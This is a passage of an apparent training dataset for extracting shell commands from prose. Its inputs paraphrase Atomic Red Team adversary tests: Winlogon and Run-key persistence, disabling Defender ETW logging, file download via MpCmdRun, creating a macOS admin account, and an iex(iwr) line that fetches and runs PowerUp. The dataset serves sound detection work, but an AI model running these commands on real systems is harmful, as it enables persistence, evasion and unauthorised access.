    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Shell\\\" \\\"explorer.exe, #{binary_to_execute}\\\" -Force\\n\", \"Set-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Userinit\\\" \\\"Userinit.exe, #{binary_to_execute}\\\" -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For downloading files via MpCmdRun.exe (version 4.18 needed), first change to the Defender directory and run: cd \"%ProgramData%\\Microsoft\\Windows Defender\\platform\\4.18*\"\nMpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}\n; The whois utility can be employed to fetch a remote file by executing this command: timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} \"#{query}\" > #{output_file}\n",
    "output": "{\"command_list\": [\"cd \\\"%ProgramData%\\\\Microsoft\\\\Windows Defender\\\\platform\\\\4.18*\\\"\\nMpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}\\n\", \"timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} \\\"#{query}\\\" > #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic test enumerates Active Directory groups by executing the following command: Get-AdGroup -Filter *\n; To enumerate groups in Active Directory using ADSISearcher, execute this command: ([adsisearcher]\"objectcategory=group\").FindAll(); ([adsisearcher]\"objectcategory=group\").FindOne()\n. The output will show all groups and their respective paths within AD upon successful completion.",
    "output": "{\"command_list\": [\"Get-AdGroup -Filter *\\n\", \"([adsisearcher]\\\"objectcategory=group\\\").FindAll(); ([adsisearcher]\\\"objectcategory=group\\\").FindOne()\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish persistence via a registry key named socks5_powershell, use the following command:\n$RunKey = \"#{reg_key_path}\"\nSet-ItemProperty -Path $RunKey -Name \"socks5_powershell\" -Value \"#{reg_key_value}\"; To modify the registry and redirect the startup folder, perform these actions using the following command:\nNew-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path  \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"#{new_startup_folder}\"\n",
    "output": "{\"command_list\": [\"$RunKey = \\\"#{reg_key_path}\\\"\\nSet-ItemProperty -Path $RunKey -Name \\\"socks5_powershell\\\" -Value \\\"#{reg_key_value}\\\"\\n\", \"New-Item -ItemType Directory -path \\\"#{new_startup_folder}\\\"\\nCopy-Item -path \\\"#{payload}\\\" -destination \\\"#{new_startup_folder}\\\"\\nSet-ItemProperty -Path  \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\\" -Name \\\"Common Startup\\\" -Value \\\"#{new_startup_folder}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prevent logging to Microsoft-Windows-Windows-Defender/Operational, an adversary can disable the ETW Provider by running the following command: New-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender/Operational\" -Name Enabled  -PropertyType DWord -Value 0 -Force; For disabling ETW in the .NET Framework, execute this command to modify the HKCU registry via the reg.exe utility: REG ADD HKCU\\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f. A system logout might be necessary to apply these changes.",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Channels\\\\Microsoft-Windows-Windows Defender/Operational\\\" -Name Enabled  -PropertyType DWord -Value 0 -Force\\n\", \"REG ADD HKCU\\\\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system can be powered off in FreeBSD or Linux environments with the command: poweroff; For restarting a FreeBSD system, execute this command: poweroff -r 3",
    "output": "{\"command_list\": [\"poweroff\\n\", \"poweroff -r 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Various system components can be identified by executing this series of WMIC commands: wmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\nGet-WmiObject win32_bios\n, which retrieves information about hardware and software configurations.; System information is collected and stored in specific directories when you run the script via the command: wscript.exe C:\\Windows\\System32\\gatherNetworkInfo.vbs",
    "output": "{\"command_list\": [\"wmic cpu get name\\nwmic MEMPHYSICAL get MaxCapacity\\nwmic baseboard get product\\nwmic baseboard get version\\nwmic bios get SMBIOSBIOSVersion\\nwmic path win32_VideoController get name\\nwmic path win32_VideoController get DriverVersion\\nwmic path win32_VideoController get VideoModeDescription\\nwmic OS get Caption,OSArchitecture,Version\\nwmic DISKDRIVE get Caption\\nGet-WmiObject win32_bios\\n\", \"wscript.exe C:\\\\Windows\\\\System32\\\\gatherNetworkInfo.vbs\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A new account can be created and added to the Administrators group by executing this multi-line command: dscl . -create /Users/AtomicUser\ndscl . -create /Users/AtomicUser UserShell /bin/bash\ndscl . -create /Users/AtomicUser RealName \"Atomic User\"\ndscl . -create /Users/AtomicUser UniqueID 503\ndscl . -create /Users/AtomicUser PrimaryGroupID 503\ndscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser\ndscl . -passwd /Users/AtomicUser mySecretPassword\ndscl . -append /Groups/admin GroupMembership AtomicUser; The new account will be created with administrative privileges when you execute the command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin",
